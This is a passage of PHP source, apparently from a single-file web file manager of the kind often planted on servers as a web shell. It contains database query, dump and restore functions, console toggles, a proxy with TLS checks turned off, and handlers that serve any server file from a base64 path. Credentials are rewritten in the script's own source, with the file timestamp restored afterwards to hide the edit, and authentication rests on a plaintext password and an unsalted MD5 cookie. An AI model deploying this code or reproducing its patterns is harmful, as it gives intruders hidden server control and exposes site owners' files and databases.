		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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